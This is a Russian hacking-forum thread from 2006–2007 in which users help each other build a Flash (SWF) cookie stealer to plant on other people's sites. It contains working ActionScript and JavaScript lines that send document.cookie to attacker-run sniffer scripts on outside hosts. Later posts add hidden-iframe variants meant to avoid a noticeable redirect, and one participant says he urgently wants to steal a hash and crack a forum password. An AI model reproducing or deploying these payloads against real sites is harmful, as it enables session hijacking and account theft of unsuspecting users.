Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Уязвимость swf(flash) (https://forum.antichat.xyz/showthread.php?t=23190)

ReanimatoR 27.08.2006 18:25

Уязвимость swf(flash)
 
Вопрос поднимался. Но все равно я немного не понял суть... объясните плз.
Как мона чтонить спереть через swf(даже те же самые куки, я немного просто не понял)? если допустим есть два сервера... сервер1 на нем сайт и swf выполняется без проверок, который качается с сервера 2...Сервер 2 - доступен...

qBiN 28.08.2006 09:05

флеш скрипты используются на стороне клиента как и джаваскрипты,суть состоит в том что можно из флеша сделать запрос к ввв страничке(как это делается например в ввв-казино всяких) а так же получить доступ к кукам,вот и все. RTFM ActionScript

ReanimatoR 28.08.2006 12:33

Ну как сделать чтоб он выдранные куки getURL("javascript:alert(document.cookie)")
отсылал куданить?)

qBiN 28.08.2006 21:42

Повторюсь
RTFM ActionScript
Хм,мои познания во флеше невелики но положимся на интуицию
Сперва создаем переменную,присваивает значение getURL("javascript:alert(document.cookie)") (почитай как оттуда его выдрать т.е. описание функции гетурл) далее строчка что-то типа getURL("http://myserver.ru/s.php?la="+peremennaya) s.php соответственно обыкновенный скрипт - сниффер.Вопще вроде статьи есть на секлабе...

ReanimatoR 29.08.2006 17:28

спасибо!) попробую=)

ReanimatoR 29.08.2006 17:48

сниффер через флеш=) крута=) там где закачиваются флешки, раюотает эта штука
x = getURL("javascript:alert(document.cookie)");
getURL("http://www.antichatsniff.ru/cgi/sniff.cgi?cookie="+x);

ReanimatoR 29.08.2006 19:47

во, еще вопрос...эта штука работает тока на том сервере, где находится? то есть если она скачивается и показывается на www.mysite1.ru с www.mysite2.ru - куки берутся от сюда? с mysite2?

qBiN 29.08.2006 21:21

Непонял вопроса,вопщем опять по моим способностям телепатии интерпритирую твой вопрос:
Куки будут браться с того сайта где флешка ПОКАЗЫВАЕТСЯ. Могу ошибаться,попробуй скажи,самому интересно...

ReanimatoR 29.08.2006 22:40

странно... но когда я вызываю на сайте1 флешку которая лежит на втором сайте- пишет это-
[Tue Aug 29 19:42:07 2006] IP=8*.16*.1*1.2*REFERER=http://a****h*e*a*ts.ru/index.php?pid=6 QUERY=cookie=undefined

qBiN 30.08.2006 16:59

ну так правильно,ты пытаешься присвоить переменной x значение алерта(из джавы) делай уж тогда javascript:document.cookie вот собственна,кстать появилась статья на эту тему скопипастил Mobile в наш форум(с секлаба) я нечитал т.к. неособо нужно мне,а тебе советую почитать и посмотреть что там пишут.

ReanimatoR 30.08.2006 21:01

getURL("javascript:location.replace('http://www.mountainboard.ru/cgi/sniff.cgi?'+document.cookie)")
я сделал так...но как возвращать ту же страницу в сниффере?() а то там открывается новая print "Location: ****";(или написать там $ref) Но тогда эта вся байда зациклица=()

Thanat0z 28.12.2006 23:59

как сделать чтоб не было редиректа, а то это слишком палевно.
И кстати в Опере не работает, у кого какие идеи будут?

ЗЫ Реаниматор - ящик у тебя забит

def_ 29.12.2006 18:51

ajax должен помочь

Thanat0z 29.12.2006 19:10

ajax? а подробней, и пример желателен :) у меня осталось менее суток чтоб украсть хеш и найти пароль

def_ 29.12.2006 20:02

http://www.yandex.ru/yandsearch?text=ajax&stype=www


вот еще способ обратиться по нужному адресу, работает в опере и ИЕ, в лисе не знаю.
в отличие от img= new Image();........ не палится ослом:
PHP код:

document.write('<iframe src="http://127.0.0.1/pixcb.php" id="lnk" width="0" height="0"></iframe><script>lnk.click()</script>'); 


Thanat0z 29.12.2006 23:23

PHP код:

document.write('<iframe src="http://127.0.0.1/pixcb.php" id="lnk" width="0" height="0"></iframe><script>lnk.click()</script>'); 

блин, сто лет с пхп не работал:

Notice: Use of undefined constant document - assumed 'document' in z:\home\localhost\www\d\swf3.php on line 2
Fatal error: Call to undefined function: write() in z:\home\localhost\www\d\swf3.php on line 2


что оно от меня хочет? :) обьявить константу? как? :) и что-то я не понимаю как это мне заюзать

Talisman 29.12.2006 23:26

Цитата:

Сообщение от Thanat0z
PHP код:

document.write('<iframe src="http://127.0.0.1/pixcb.php" id="lnk" width="0" height="0"></iframe><script>lnk.click()</script>'); 

блин, сто лет с пхп не работал:

Notice: Use of undefined constant document - assumed 'document' in z:\home\localhost\www\d\swf3.php on line 2
Fatal error: Call to undefined function: write() in z:\home\localhost\www\d\swf3.php on line 2


что оно от меня хочет? :) обьявить константу? как? :) и что-то я не понимаю как это мне заюзать

это не пшп код, это джава-скрипт код, а вставлен в тег пшп для удобства читабельности на форуме. просто вставляй как жс

Thanat0z 29.12.2006 23:42

;) блин, я сначала отрабатываю на локал файлах, а потом уже тестю на форуме, так что скажите просто как и что куда вставлять, я запутался уже. Речь шла о флешке, потом дали мне пхп код с явакспиртом внутри, теперь говорят вставляй это в Js )))

Я уже ничего не понимаю.
Давайт по порядку

1) есть форум, в нем месаджи, моя подпись, аватар
2) есть код скрипта
3) есть снифер

Значит я должен вставтить код
1) в подпись в чистом виде
2) вставить в пост в чистом виде
3) заныкать его в "коды" форума
4) присоеденить через уже известные коды при этом линк будет на удаленный Js файл

def_ 30.12.2006 04:50

у тя был вопрос как сделать без редиректа и вообщ без палева отсылку куков на снифер, этот пример именно это и делает
пользоваться так:
код вставляешь в своем swf файле в getUrl("javascript: ");
все вставлено в яваскриптовский document.write потомучто iframe это не js, а html

Thanat0z 30.12.2006 05:29

пробывал такое
Код:

getUrl('javascript:document.write(\'<iframe src="http://localhost/s/s.php?"+document.cookie id="lnk" width="0" height="0"></iframe><script>lnk.click()</script>\');');
и такое
Код:

getUrl('javascript:var cook; cook = document.cookie; document.write(\'<iframe src="http://localhost/s/s.php"\'+cook+\' id="lnk" width="0" height="0"></iframe>\');lnk.click();');

В обоих случаях чистый ивент в снифер, и пустая страничка темы куда это закинули, то есть редирект таки остался. Кто чем поможет?

ЗЫ очень важно что кавычки в конце и начале одинарные, то есть getUrl('javascript

Thanat0z 15.01.2007 18:25

что, ни у кого идей не появилось?

zl0ba 15.01.2007 20:11

Ребята качаем SWF Decompiler MX 2005 - Flash Decompiler 2005a ( http://www2.sothink.com/download/swfdec.zip), качаем флеш на хард. Ложим на операционый стол и начинаем изучать всё из нутри. Может чё интересного найдёте, ну там параметр передаваемый на сервер.


Время: 11:01